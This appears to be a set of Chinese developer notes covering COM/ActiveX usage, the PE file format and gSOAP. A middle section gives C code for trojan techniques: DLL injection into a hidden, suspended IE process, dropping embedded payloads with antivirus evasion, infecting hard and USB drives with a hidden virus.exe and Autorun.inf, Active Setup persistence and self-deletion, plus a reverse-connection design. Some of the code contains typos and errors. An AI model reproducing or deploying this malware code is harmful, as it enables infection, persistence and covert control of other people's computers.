注意:直接使用移动的位置的DLL就可能出现CoCreateInstance函数出现失败，可能需要注册。

HMODULE hModule = LoadLibrary("med\\Component\\DebugCOM.dll");

 if (hModule)

 {typedef HRESULT (\*RegisterFun)(void);

 RegisterFun f = (RegisterFun)GetProcAddress(hModule, "DllRegisterServer");

 if (f)

 f();}

方法一: 使用#import指令的智能指针 (需要.tlb文件或.dll文件)  //最常使用#inport指令可相对(.project)工程文件路径。

第一步:在头文件中加入#import + COM组件中的.tlb或dll文件位置 + no\_namespace或

#import + COM组件中的.tlb文件位置 + rename\_namespace(“Name1”)

using namespace Name1;

第二步: 初始化COM库，AfxOleInit()也行。

第三步: 定义一个智能指针, 接口名+Ptr,如IAccountPtr m\_pi;

第四步: 使用m\_pi.CreateInstance(\_\_uuidof(Account))， 使用m\_pi->调用相关函数。

最后一步: 在CoUninitialize函数之前释放智能指针m\_pi.Release();

方法二:  使用#import指令的接口指针 (需要.tlb或dll文件，.c文件)

第一步:在头文件中加入#import + COM组件中的.tlb或dll文件位置 + no\_namespace或

#import + COM组件中的.tlb文件位置 + rename\_namespace(“Name1”)

using namespace Name1;

第二步: 初始化COM库，AfxOleInit()也行。

第三步: 包含组件产生的.c文件， 因为CoCreateInstance的第一和第四个参数在此声明。

第三步: 定义一个接口指针, 接口名,如IAccount \*m\_pi;

第四步: 使用m\_pi->CoCreateInstance(CLSID\_Sizeyunsuan, NULL, CLSCTX\_INPROC\_SERVER, DIID\_ISizeyunsuan, (void\*\*)(&m\_pt)))。

最后一步: 在CoUninitialize函数之前释放m\_pi->Release();

方法三: 利用MFC类向导生成

第一步: 初始化COM库。

第二步: 添加Typelib中的MFC类。

第三步: 声明一个刚添加” Typelib中的MFC类”类型(i打头)的成员变量。

第四步: m\_p.CreateDispatch以及m\_p.ReleaseDispatch。

创建GUID: VS->Tools->Create GUID->static const struct GUID = {...}->Copy

//该函数会根据CLSID找到对应的exe,注册表:HKEY\_CLASSES\_ROOT -> CLSID -> ...->InprocServer32存放实现类厂的exe或dll,

coCreateInstance(CLSID...)

//STDMETHOD宏的返回值是HRESULT,把结果从第三个参数带回

STDMETHOD(Add)( int add1, int add2, int \*pnAdd );

//引用计数实现

STDMETHOD\_(ULONG, AddRef)( );

STDMETHODIMP\_(ULONG)CImpMath::AddRef( )

{

 m\_Ref++;

 return m\_Ref;

}

//查询函数实现

HRESULT CImpMath::QueryInterface(REFIID iid, LPVOID \*ppVoid )

{

 if ( iid == IID\_Math )

 {

  \*ppVoid = static\_cast<IMath\*>(this); //IMath和IMath2继承了系统的IUnknown

 }else if ( iid == IID\_Math2 )

 {

  \*ppVoid = static\_cast<IMath2\*>(this);

 }else{

  return S\_FALSE;

 }

 AddRef( );

 return S\_OK;

}

## ActiveX

### ActiveX控件使用

ActiveX与Com组件区别:

ActiveX主要用于客户端(有界面),Com主要用于后台(无界面)。

1) 创建ActiveX控件

新建项目=>选择“MFC ActiveX 控件”工程,默认下一步， （运行时许可：使用控件时是否需要得到许可）。

编译后会自动注册ActiveX控件。(可再资源对话框中Insert ActiveX控件看见创建的ActiveX控件)。

.idl文件: 该文件中有2个接口，类似于纯虚类，在该2个接口添加的虚函数需要在ctrl.cpp中实现及ctrl.h声明。

ctrl类文件：实现接口的内容。类似于单文档程序的主窗口类。

PropPage类文件: 对话框。

App类文件:类似于单文档程序的应用程序类。

2) 注册ActiveX控件

regsvr32 –u ActiveX名.ocx //取消注册

regsvr32  ActiveX名.ocx //注册

3) 增加ActiveX控件的属性

选择类图中的接口右击则可设置ActiveX控件属性。

ActiveX四种属性:

Stock:为每个控件提供标准的属性，如字体或颜色。

Ambient:围绕控件的环境属性，已被置入容器的属性，这些属性不能修改，但控件可以使用它们调节自己的属性。AmbientUserMode()函数返回值0则表示ActiveX控件处于设计(未运行)模式，非0则表示ActiveX控件处于运行模式

Extended:由容器处理的属性，包括大小和在屏幕上面的位置。

Custom: 由控件开发者添加的属性。

增加属性表单:在Ctrl类中添加

BEGIN\_PROPPAGEIDS(CClockCtrl, 2)  //注意第二个参数也要相应变化

 PROPPAGEID(CClockPropPage::guid)

 PROPPAGEID(CLSID\_CColorPropPage) //新增的属性表单

END\_PROPPAGEIDS(CClockCtrl)

4) 保存ActiveX控件属性的值

通常标准属性会自动保存下来。 对于自定义属性需要在DoPropExchange函数最后加上

“PX\_”函数， 比如PX\_Short(pPX, "Inve", m\_Inve, 2000); //”Inve”属性名称，m\_Inve变量名称， 2000初始值。

5) 修改属性值通知属性表单的值也发生变化

标准属性会自动通知属性表单。

每次修改属性值则会调用相关通知消息Ctrl::On属性名Changed。

在Ctrl::On属性名Changed函数中调用BoundPropertyChanged(DISPID 接口函数处对于的(id))

6) 查看和测试ActiveX控件

第一种方法：

在vs2010安装目录Samples\2052\C++\MFC\ole\TstCon中利用.sln生成.exe,然后在vs2010工具栏中添加它。 ActiveX Control Test Container插入一个新的ActiveX控件则可。

第二种方法：建立Mfc应用程序，在Mfc窗口右键-》插入“ActiveX”控件，然后就会在MFC的窗体上显示ActiveX控件。

第三种方法:在....htm的文件中编写代码如下：

<</SPAN>HTML>

<</SPAN>HEAD>

<</SPAN>TITLE>Test ActiveX</</SPAN>TITLE>

</</SPAN>HEAD>

<</SPAN>OBJECT ID="TestMfcAtl Control" WIDTH=528 HEIGHT=545 classid="CLSID:DD0CF7EF-A181-428C-B5FC-C44A1C13CA43">

    <</SPAN>PARAM NAME="\_Version" VALUE="65536">

    <</SPAN>PARAM NAME="\_ExtentX" VALUE="12806">

    <</SPAN>PARAM NAME="\_ExtentY" VALUE="1747">

    <</SPAN>PARAM NAME="\_StockProps" VALUE="0">

</</SPAN>OBJECT>

</</SPAN>HTML>

## 区别

ocx文件、exe文件、dll文件同属PE格式的文件，因此拓展名可互换使用。

DLL: 是以函数集合的方式来调用的是编程语言相关的象VC必须加上extern "C"...因此无法统一调用。里面可任意定义函数无限制,只能运行在本机上。一般只用来导出大量全局函数，要导出类则使用COM组件。

COM: 是按照COM规范编写的DLL(进程内组件)或EXE(进程外组件), 是与编程语言无关的,可在任何语言中统一调用接口。COM所在的DLL中必须导出四个函数:

dllgetobjectclass, dllregisterserver, dllunregisterserver, dllunloadnow

# 安全

## PE结构

1.1 DOS MZ头 IMAGE\_DOS\_HEADER : 64字节

e\_magic WORD //EXE标志, "MZ"

e\_cblp WORD //最后(部分)页中的字节数

e\_cp WORD //文件中的全部和部分页数

e\_crlc WORD //重定位表中的指针数

e\_cparhdr WORD //头部尺寸，以段落为单位

e\_minalloc WORD //所需的最小附加段

e\_maxalloc WORD //所需的最大附加段

e\_ss WORD //初始的SS值(相对偏移量)

e\_sp WORD //初始的SP值

e\_csum WORD //补码校验值

e\_ip WORD //初始的IP值

e\_cs WORD //初始的CS值

e\_lfarlc WORD //重定位表的字节偏移量

e\_ovno WORD //覆盖号

e\_res WORD\*4 //保留字

e\_oemid WORD //OEM标识符(相对e\_oeminfo)

e\_oeminfo WORD //OEM信息

e\_res2 WORD\*10 //保留字

e\_lfanew DWORD //PE头相对于文件的偏移地址(可找到"PE"所在位置)例如D8 00 00 00 位置在00 00 00 D8处

1.2 从DOS MZ头最后一个字节到PE头之间的长度是变长（一个有效的DOS下EXE文件格式）

1.3 IMAGE\_NT\_HEADERS PE头 (除数据项内容外共有120个字节)

(1):PE标志:50 45 00 00 DWORD //"PE\0\0" 判断PE结构

(2):标准PE头 IMAGE\_FILE\_HEADER

Machine WORD //运行平台(可查含义)

NumberOfSections WORD //PE中节的数量(取值范围:[1,96],但程序可以有0个节),不能随意修改,文件实际内存存在的节变化时，它就变化。

TimeDateStamp DWORD //文件创建日期(与操作系统文件属性看到的三个时间(创建、修改、访问)无关系,从1970年1月1日00:00后的秒数)。

PointerToSymbolTable DWORD //指向符号表(用于调试)

NumberOfSymbols DWORD //符号表中的符号数量(用于调试)

SizeOfOptionalHeader WORD //扩展头结构的长度(默认00E0h,若64位PE文件,00F0h)。用户可自定义,但还需要同步IMAGE\_OPITONAL\_HEADER32的大小,同时还要维护文件中的对齐特性。

Characteristics WORD //文件属性(可查属性位含义)

Machine:

0x0 IMAGE\_FILE\_MACHINE\_UNKNOWN 适应于任何处理器

0x14c IMAGE\_FILE\_MACHINE\_I386 Intel 385处理器或后续兼容处理器

(3):扩展PE头:IMAGE\_OPTIONAL\_HEADER32

Magic WORD //文件的类型:010Bh:PE32, 0107h:ROM映像, 020Bh:64位PE

MajorLinkerVersion BYTE //连接器版本号

MinorLinkerVersion BYTE

SizeOfCode DWORD //所有含代码的节的总大小,该大小是基于文件对齐后的大小。判断节是否包含代码:根据节属性是否含有IMAGE\_SCN\_CNT\_CODE标识。

SizeOf.nitializedData DWORD //所有含已初始化数据的节的总大小

SizeOfUninitializedData DWORD //所有含未初始化数据的节的总大小,在文件中不占用空间，但被加载到内存中占空间。

AddressOfEntryPoint DWORD //程序执行入口RVA,(病毒，加密，补丁都会劫此处的值)

BaseOfCode DWORD //代码的节的起始RVA(一般情况代码节紧跟在PE头部后面,名称通常为.text)

BaseOfData DWORD //数据的节的起始RVA(一般情况数据节位于文件末尾,名称通常为.data)

ImageBase DWORD //程序的建议装载地址,默认exe:0x00400000,dll:0x10000000(多个dll会变化), 链接时可使用-base来指定，取值必须是64K整倍数，并且必须在进程地址空间中。

SectionAlignment DWORD //内存中的节的对齐粒度,默认是0x1000h(4kb)。

FileAlignment DWORD //文件中的节的对齐粒度,默认是0x200h(512字节的簇(一个扇区大小))。 查看命令:fsutil fsinfo ntfsinfo D:

MajorOperatingSystemVersion WORD //操作系统版本号

MinorOperatingSystemVersion WORD

MajorImageVersion WORD //该PE的版本号

MinorImageVersion WORD

MajorSubsystemVersion WORD //所需子系统的版本号

MinorSubsystemVersion WORD

Win32VersionValue DWORD //未用(必须0)

SizeOfImage DWORD //内存中的整个PE映像尺寸, 该值可以比实际值大，但不能小，而且是SectionAlignment整倍数

SizeOfHeaders DWORD //所有头+字节的大小,按照FileAlignment整倍数

CheckSum DWORD //校验和

Subsystem WORD //文件的子系统（2:图形用户界面,3:控制台。 可查）,链接时使用 -subsystem: "该值"。

DllCharacteristics WORD //DLL文件特性(是针对所有PE文件的， 可查)

SizeOfStackReserve DWORD //初始化时的栈大小,默认0x100000(1MB),初始线程的栈大小。

SizeOfStackCommit DWORD //初始化时实际提交的栈大小,初始线程的栈实际占用内存控件,默认0x1000(1页)

SizeOfHeapReserve DWORD //初始化时保留的堆大小,默认0x100000(1MB),该保留堆的句柄可使用GetProcessHeap函数获得。每个进程至少一个，在进程启动时被创建，在进程生命周期中永不删除，可使用链接器-heap指定该堆的内存大小和实际提交堆大小。

SizeOfHeapCommit DWORD //初始化时实际提交的堆大小,默认0x1000(1页)

LoaderFlags DWORD //与调试有关

NumberOfRvandSizes DWORD //数据目录结构的项目数量,默认0x10(16种数据类型),该值由SizeOfOptionalHeaders决定，实际应用中可取[2,16]。

DataDirectory DWORD\*2\*16 //数据目录结构

数据目录项IMAGE\_DATA\_DIRECTORY (该结构的个数是NumberOfRvandSizes),记录的这16种数据在文件(和内存)中的位置和大小。

VirtualAddress DWORD //数据的起始RVA

isize DWORD //数据块的长度

这16种数据的线性顺序是:

[0]导出表

[1]导入表(1)

[2]资源表

[3]异常表

[4]属性证书数据

[5]基地址重定位表

[6]调试信息

[7]预留为0

[8]指向全局指针寄存器的值

[9]线程局部存储

[10]加载配置表

[11]绑定导入表(1)

[12]导入函数地址表(1)

[13]延迟导入表(1)

[14]CLR运行时头部数据

[15]系统保留

1.4 节表项IMAGE\_SECTION\_HEADER (40个字节)节表项个数由PE头中的NumberOfSections确定

Name 8字节 //节的名称

Misc DWORD //节的数据在没有对齐前的真实尺寸， 不过很多PE文件里该值并不准确。

VirtualAddress DWORD //节区的RVA地址

SizeOfRawData DWORD //在文件中对齐后的尺寸

PointerToRawData DWORD //在文件中的偏移

PointerToRelocations DWORD //在OBJ文件中使用,指向重定位表的指针

PointerToLinenumbers DWORD //行号表的位置(调试用)

NumberOfRelocations WORD //在OBJ文件中使用,重定位表的个数

NumberOfLinenumbers WORD //行号表中行号的数量

Characteristics DWORD //节的属性(可查)

节的属性(数据位为1时，从0开始):

第5位: 节中包含代码。

第6位: 节中包含已初始化数据

第7位: 节中包含未初始化数据

第8位: 保留

第25位：节中的数据在进程开始后将被丢弃，如.reloc

第26位: 节中的数据不会经过缓存

第27位: 节中的数据不会被交换到磁盘

第28位: 表示节中的数据将被不同的进程所共享。

第29位: 映射到内存后的页面包含可执行属性

第30位：映射到内存后的页面包含可读属性

第31位: 映射到内存后的页面包含可写属性。

代码节一般属性是:60000020h

数据节一般属性是:c0000040h

常量节一般属性是:40000040h,一般和资源节属性相同

之后用0x0补齐到0x400h位置。

2.1 编译二次同一个PE文件的区别

1、文件创建时间,可修改

2、校验和(以WORD为单位对数据进行带进位的累加，大于WORD部分自动溢出，再加上文件的长度),可修改，用于校验文件是否被修改过。 大多数PE文件该值是0,但一些内核模式的驱动程序和系统DLL中是必须存在且是正确。可以调用IMAGEHLP.dll库函数计算该值

#include <imagehlp.dll>

#pragma comment(lib, "imagehlp.lib")

DWORD CheckSum = 0;

DWORD dw = 0;

DWORD i = MapFileAndCheckSum("文件名",&根据PE头校验和位置获得的值(CheckSum),&根据文件计算出来的值(dw)); //若不修改PE校验和位置的值，该2个值是一样的。

3、附加数据(内存只读rdata区),每次编译生成1次都会该数据的值都会增加1,可修改。

2.2 相对虚拟地址(RVA)计算在文件中的偏移

1.RVA判断落在哪个节区的RVA地址

2.计算RVA偏移量， RVA-节区起始RVA地址

3.节区在文件中的偏移+第二步的偏移量.

## 各种常用技术

1. DLL注入

DLL注入就是将DLL.dll文件注入到一个进程中。

Loader.exe(DLL加载器): 将DLL.dll加载到一个进程中(例如IE进程)增强隐蔽性,通过自启动启动Loader.exe。

VS技巧:将Loader.exe和DLL.dll作为资源嵌入到一个PE文件(被控制端程序)中的资源部分，步骤：“资源文件”添加资源，导入资源，选中对应的.exe和.dll，然后填写类型EXE或DLL,成功后可在resource.h看见所定义的宏。

然后将PE文件中的资源部分释放:PE文件加载内存后，在内存中复制数据并生成对应的文件，最后释放资源空间。

将PE文件中指定的资源释放到指定的文件中(编译通过则说明dll或exe已经嵌入到资源文件中，则可以删除dll或exe文件(该dll或exe文件只需在编译期存在)):

HRSRC hRsrc = FindResource(NULL,MAKEINTRESOURCE(IDR\_DLL1), "DLL");

//获取资源大小

DWORD dwSize = SizeofResource(NULL, hRsrc);

//加载资源

HGLOBAL gl = LoadResource(NULL,hRsrc);

//锁定资源

LPVOID lp = LockResource(gl);

//为资源数据分配空间

LPBYTE p = (LPBYTE)GlobalAlloc(GPTR,dwSize);

//复制资源数据

CopyMemory((LPVOID)p, lp, dwSize);

HANDLE fp = CreateFile("D:\\txt123.txt",GENERIC\_WRITE,0,NULL,CREATE\_ALWAYS,0,NULL); //文件名存放的是指定的资源数据(如DLL.dll),写文件时可以不写入MZ头， 使用自己的MZ头，可过杀软。

DWORD dwWritten;

WriteFile(fp,(LPVOID)p,dwSize,&dwWritten,NULL);

CloseHandle(fp);

FreeResource(gl);

Loader.exe编写:

【1】为当前进程提升权限

【2】新建一个IE进程

【3】DLL.dll远程注入至IE进程

【4】删除HKEY\_CURRENT\_USER ActiveX 自启动子键

//本进程要对另一个进程进行"写"操作需要提权

BOOL AddPrivilege(void)

{

HANDLE hToken; //进程访问令牌的句柄

TOKEN\_PRIVILEGES tp; //要修改的新权限

LUID Luid; //一个局部不唯一的值

//获取进程访问令牌的句柄

if (!OpenProcessToken(GetCurrentProcess(), TOKEN\_ADJUST\_PRIVILEGES | TOKEN\_QUERY, &hToken))

{

return FALSE;

}

//对该访问令牌进行修改需要获得每个权限对应的LUID值

if (!LookupPrivilegeValue(NULL, SE\_DEBUG\_NAME/\*优先级名称\*/, &Luid))

{

return FALSE;

}

//对访问令牌进行修改

tp.PrivilegeCount = 1;

tp.Privileges[0].Attributes = SE\_PRIVILEGE\_ENABLED;

tp.Privileges[0].Luid = Luid;

if (!AdjustTokenPrivileges(hToken, 0/\*打开或取消权限\*/, &tp, sizeof(TOKEN\_PRIVILEGES), NULL, NULL))

{

return FALSE;

}

return TRUE;

}

//打开一个IE进程

int IExcute()

{

PROCESS\_INFORMATION pi = {0};

STARTUPINFO si = {0};

memset(&si, 0, sizeof(si));

si.cb = sizeof(si);

si.dwFlags = STARTF\_USESHOWWINDOW | STARTF\_USESTDHANDLES;

si.wShowWindow = SW\_HIDE;//不让该IE进程有界面显示

pi.hProcess = SW\_HIDE;

//打开IE进程,并将该进程挂起

CreateProcess(NULL, "C:\\Program Files\\Internet Explorer\\iexplore.exe",

NULL,NULL, 0, CREATE\_SUSPENDED, NULL, NULL, &si,&pi);

return pi.dwProcessId; //IE进程ID;

}

//DLL注入IE进程cStrPath:DLL名称

BOOL DllInject(int nPid, const char\* cStrPath)

{

//打开进程对其进行写入

HANDLE hProcess = OpenProcess(PROCESS\_CREATE\_THREAD | PROCESS\_VM\_OPERATION | PROCESS\_VM\_WRITE,

FALSE, nPid);

DWORD dwSize = lstrlen(cStrPath);

dwSize++;

//在指定进程中分配内存

LPVOID lpBuf = VirtualAllocEx(hProcess, NULL, dwSize, MEM\_COMMIT, PAGE\_READWRITE);

if(NULL == lpBuf)

{

CloseHandle(hProcess);

return FALSE;

}

DWORD dwWrite = 0;

//向IE进程写入数据

if (!WriteProcessMemory(hProcess, lpBuf, (LPVOID)cStrPath, dwSize, &dwWrite))

{

CloseHandle(hProcess);

return FALSE;

}

if (dwWrite != dwSize)

{

VirtualFreeEx(hProcess, lpBuf, dwSize, MEM\_DECOMMIT);

CloseHandle(hProcess);

return FALSE;

}

//远程线程创建(在其他(IE)进程中运行的线程)

DWORD dwThreadId = 0;

HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD\_START\_ROUTINE)LoadLibrary, lpBuf, 0, &dwThreadId);

WaitForSingleObject(hThread,INFINITE);

VirtualFreeEx(hProcess, lpBuf, dwSize, MEM\_DECOMMIT);

CloseHandle(hThread);

CloseHandle(hProcess);

return TRUE;

}

//清除USER下Active子键信息

BOOL CleanJob()

{

RegDeleteKey(HKEY\_CURRENT\_USER,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{NS517-0xQO-SKETCHER-19901117-GMAILCOM}");

return TRUE;

}

DLL.dll编写客户端代码(被控制端):

1. U盘传播

原理:打开通过注册表打开各种磁盘（包括U盘）的自动播放功能, 向U盘写入Autorun.inf文件，该文件记录用户选择何种程序来打开U盘的文件。Autorun.inf指向了病程序,windows就会运行该程序。

注册表：HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer的NoDriveTypeAutorun决定打开何种磁盘的Autorun功能

145 = 0x91 = 10010001,[0]:不能识别的类型设备，[1]:没有根目录的驱动器，[2]:可移动驱动器,[3]:固定的驱动器,[4]网络驱动器,[5]:光盘驱动器,[6]:RAM磁盘, [7]未指定的驱动器类型，

0表示设备运行，1表示设备不运行。

BOOL SetAutorun(void)

{

HKEY hKey;

long lRet = RegOpenKey(HKEY\_CURRENT\_USER,

"HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\Explorer",

&hKey);

if (lRet != ERROR\_SUCCESS)

{

return FALSE;

}

DWORD dwValue = 145;//键值

lRet = RegSetValueEx(hKey, "NoDriveTypeAutorun", NULL, REG\_DWORD,(PBYTE)&dwValue,4);

if (lRet != ERROR\_SUCCESS)

{

return FALSE;

}

RegCloseKey(hKey);

return TRUE;

}

//感染各驱动盘，替换每个驱动盘的Autorun.inf文件

BOOL InfectDriver(void)

{

char strPath[260] = {0};

char strProPath[260] = {0}; //本程序路径

char strInfPath[260] = {0}; //每个磁盘的.inf文件全路径

char strWrite[256];

for (char ch = 'A'; ch <= 'Z'; ch++)

{

strPath[0] = ch;

strPath[1] = ':';

//感染硬盘和U盘

if(GetDriveType(strPath) == DRIVE\_FIXED || GetDriveType(path) == DRIVE\_REMOVABLE)

{

memcpy\_s(strInfPath,sizoef(strInfPath),strPath, 260);

//释放的exe路径

strcat\_s(strPath,,sizeof(strPath), "\\virus.exe");

//获取本程序路径

memset(strProPath, 0, sizoef(strProPath));

GetModuleFileName(NULL, strProPath, 260);

//复制文件

CopyFile(strProPath, strPath, false);

//设置病毒文件属性为系统|隐藏

SetFileAttributes(strPath, FILE\_ATTRIBUTE\_SYSTEM | FILE\_ATTRIBUTE\_HIDDEN);

//使用Autorun实现启动

strcat\_s(strInfPath,sizoef(strInfPath), "\\Autorun.inf");

DeleteFile(strInfPath);

FILE \*fp = fopen(strInfPath,"a");

memset(strWrite, 0, sizeof(strWrite));

memcpy\_s(strWrite,sizeof(strWrite), "[Autorun]\nOPEN=virus.exe\nshell\\open=打开(&O)\nshell\\open\\Command=virus.exe\nshell\\open\\Default=1\nshell\\explore=资源管理器(&X)\nshell\\explore\\Command=virus.exe",260);

fputs(strWrite,fp);

fclose(fp);

SetFileAttributes(strInfPath, FILE\_ATTRIBUTE\_SYSTEM | FILE\_ATTRIBUTE\_HIDDEN);

}

}

return TRUE;

}

1. 反向链接

该技术也成反弹端口技术,经常和IP自动更新结合使用。

反弹端口技术原理: 《被控端》主动连接《控制端》，防火墙一般不会阻止对外的连接。

IP自动更新原理:申请一个虚拟主机网站,《控制端》将自己的IP和端口号写入文件并放入虚拟空间网站的根目录。《被控端》向该虚拟主机网站发送http请求，端口80,获取该文件信息，让《被控端》误以为浏览网站(或FTP服务器)。

IP更新文件上传:《控制端》（要求有公网IP地址(电信分配给你的，全球唯一)，内网就是通过路由器分配给你的,如192.168,因为internet不能访问内网地址）,开放Web(或Ftp)服务器，通过FTP把自己的IP更新文件放入Web服务器中。

1. 利用注册表ActiveX实现自启动

BOOL WriteRegister(const char\* fname)

{

HKEY hKey;

RegCreateKey(HKEY\_LOCAL\_MACHINE,

"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{NS517-0xQO-SKETCHER-19901117-GMAILCOM}", //GUID

&hKey);

RegSetValue(hKey, NULL, REG\_SZ, "系统设置", strlen("系统设置"));

RegSetValueEx(hKey, "stubpath", 0, REG\_EXPAND\_SZ,(BYTE\*)fname, lstrlen(fname));

RegCloseKey(hKey);

}

HKEY\_CURRENT\_ USER\Software\Microsoft\Windows\CurrentVersion\Run、HKEY\_CURRENT\_ USER对应的位置中会注册HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{NS517-0xQO-SKETCHER-19901117-GMAILCOM信息。当run中不存在这些信息时才能每次自启动，所以要想每次自启动则要从run中删除MACHINE的ActiveX信息。

1. 文件自删除

删除自身还在运行的文件。

原理:创建一个删除自身文件的进程。

BOOL SelfDelete(void)

{

char szModule[260] = {0}; //存放该进程的短路径名

char szComspec[260] = {0};//存放cmd命令行

char szParams[260] = {0}; //存放删除文件命令

//获得此文件名

if (GetModuleFileName(NULL, szModule, 260) != 0 && //获取本进程的长路径

GetShortPathName(szModule,szModule,260) != 0 && //获得本进程的短路径

GetEnvironmentVariable("COMSPEC", szComspec, 260) != 0)//获取cmd命令(COMSPEC)所处环境变量的值。

{

//设置命令参数

lstrcpy(szParams, " /c del ");

lstrcat(szParams, szModule);

//lstrcat(szParams, " > nul");

lstrcat(szComspec, szParams);

//填充结构体

STARTUPINFO si = {0}; //也可以使用si = {sizeof(si)};初始化

PROCESS\_INFORMATION pi = {0};

si.cb = sizeof(si);

si.dwFlags = STARTF\_USESHOWWINDOW;

si.wShowWindow = SW\_HIDE;

//为程序设置实时优先级

SetPriorityClass(GetCurrentProcess(),REALTIME\_PRIORITY\_CLASS);

SetThreadPriority(GetCurrentProcess(), THREAD\_PRIORITY\_TIME\_CRITICAL);

//创建远程进程

if (CreateProcess(0, szComspec, 0, 0, 0, CREATE\_SUSPENDED | DETACHED\_PROCESS, 0, 0, &si, &pi))

{

// CREATE\_SUSPENDED挂起子进程的主线程，暂停一直到父进程退出再执行

SetPriorityClass(pi.hProcess,IDLE\_PRIORITY\_CLASS);

SetThreadPriority(pi.hThread, THREAD\_PRIORITY\_IDLE);

//以低级别恢复批处理

ResumeThread(pi.hThread);

return TRUE;

}

else

{

SetPriorityClass(GetCurrentProcess(),NORMAL\_PRIORITY\_CLASS);

SetThreadPriority(GetCurrentProces(),THREAD\_PRIORITY\_NORMAL);

}

}

return TRUE;

}

# 常用技术

## GSoap使用

1 通过wsdl文件生成.h文件

从WSDL中产生头文件

用法：

wsdl2h -o 头文件名 WSDL文件名或URL

wsdl2h常用选项

-o 文件名，指定输出头文件

-n 名空间前缀 代替默认的ns

-c 产生纯C代码，否则是C++代码

-s 不要使用STL代码

-t 文件名，指定type map文件，默认为typemap.dat

-e 禁止为enum成员加上名空间前缀

type map文件用于指定SOAP/XML中的类型与C/C++之间的转换规则，比如在wsmap.dat里写

2 由.h文件生成所需要的cpp/c文件

用法

soapcpp2 头文件

例:

soapcpp2 ayandy.h

将生成下面这些文件

soapStub.h // soap的存根文件，定义了ayandy.h里对应的远程调用模型

soapC.c soapH.h // soap的序列和反序列代码，它已经包含了soapStub.h，服务器端与客户端都要包含它

soapClient.c soapClientLib.c // 客户端代码，soapClientLib.c文件则只是简单地包含soapClient.c和soapC.c

soapServer.c soapServerLib.c // 服务器端代码,soapServerLib.c文件则只是简单地包含soapServer.c和soapC.c

ServiceSoap.nsmap ServiceSoap12.nsmap // 名空间定义，服务器端与客户端都要包含它

soapServiceSoapProxy.h soapServiceSoap12Proxy.h // 客户端的C++简单包装(如果头文件是纯C代码，这两个文件就不会生成)

综上所述

如果编写服务器端，项目里应该加入soapServerLib.c，代码里包含头文件soapH.h

如果编写客户端，项目里应该加入soapClientLib.c，代码里包含头文件SoapH.h（或xxxxProxy.h）

当然，还要加入gsoap库里的stdsoap2.cpp文件（如果是写C代码，则加入stdsoap2.c）

如果看到soapcpp2提示:”Critical error: #import: Cannot open file "stlvector.h" for reading.“， 那是因为我们的头文件使用了STL(wsdl2h 没用-s选项)，这时要使用-I选项指定gSOAP的 import文件路径，这个路径是"$gsoap\gsoap\import":

soapcpp2 ayandy.h -I D:\gsoap-2.7\gsoap\import

soapcpp2常用选项

-C 仅生成客户端代码

-S 仅生成服务器端代码

-L 不要产生soapClientLib.c和soapServerLib.c文件

-c 产生纯C代码，否则是C++代码(与头文件有关)

-I 指定import路径（见上文）

-x 不要产生XML示例文件

-i 生成C++包装，客户端为xxxxProxy.h(.cpp)，服务器端为xxxxService.h(.cpp)。

------------------------------------------

这些文件没把我给弄崩溃了，简要说一下吧：

工程中所要包含的文件（不是include的）有：

soapStub.h soapH.h stdsoap2.h AbysalEmail.h (这个文件时第一步生成的头文件)

soapC.cpp stdsoap2.cpp soapClient.cpp (客户端) soapServer.cpp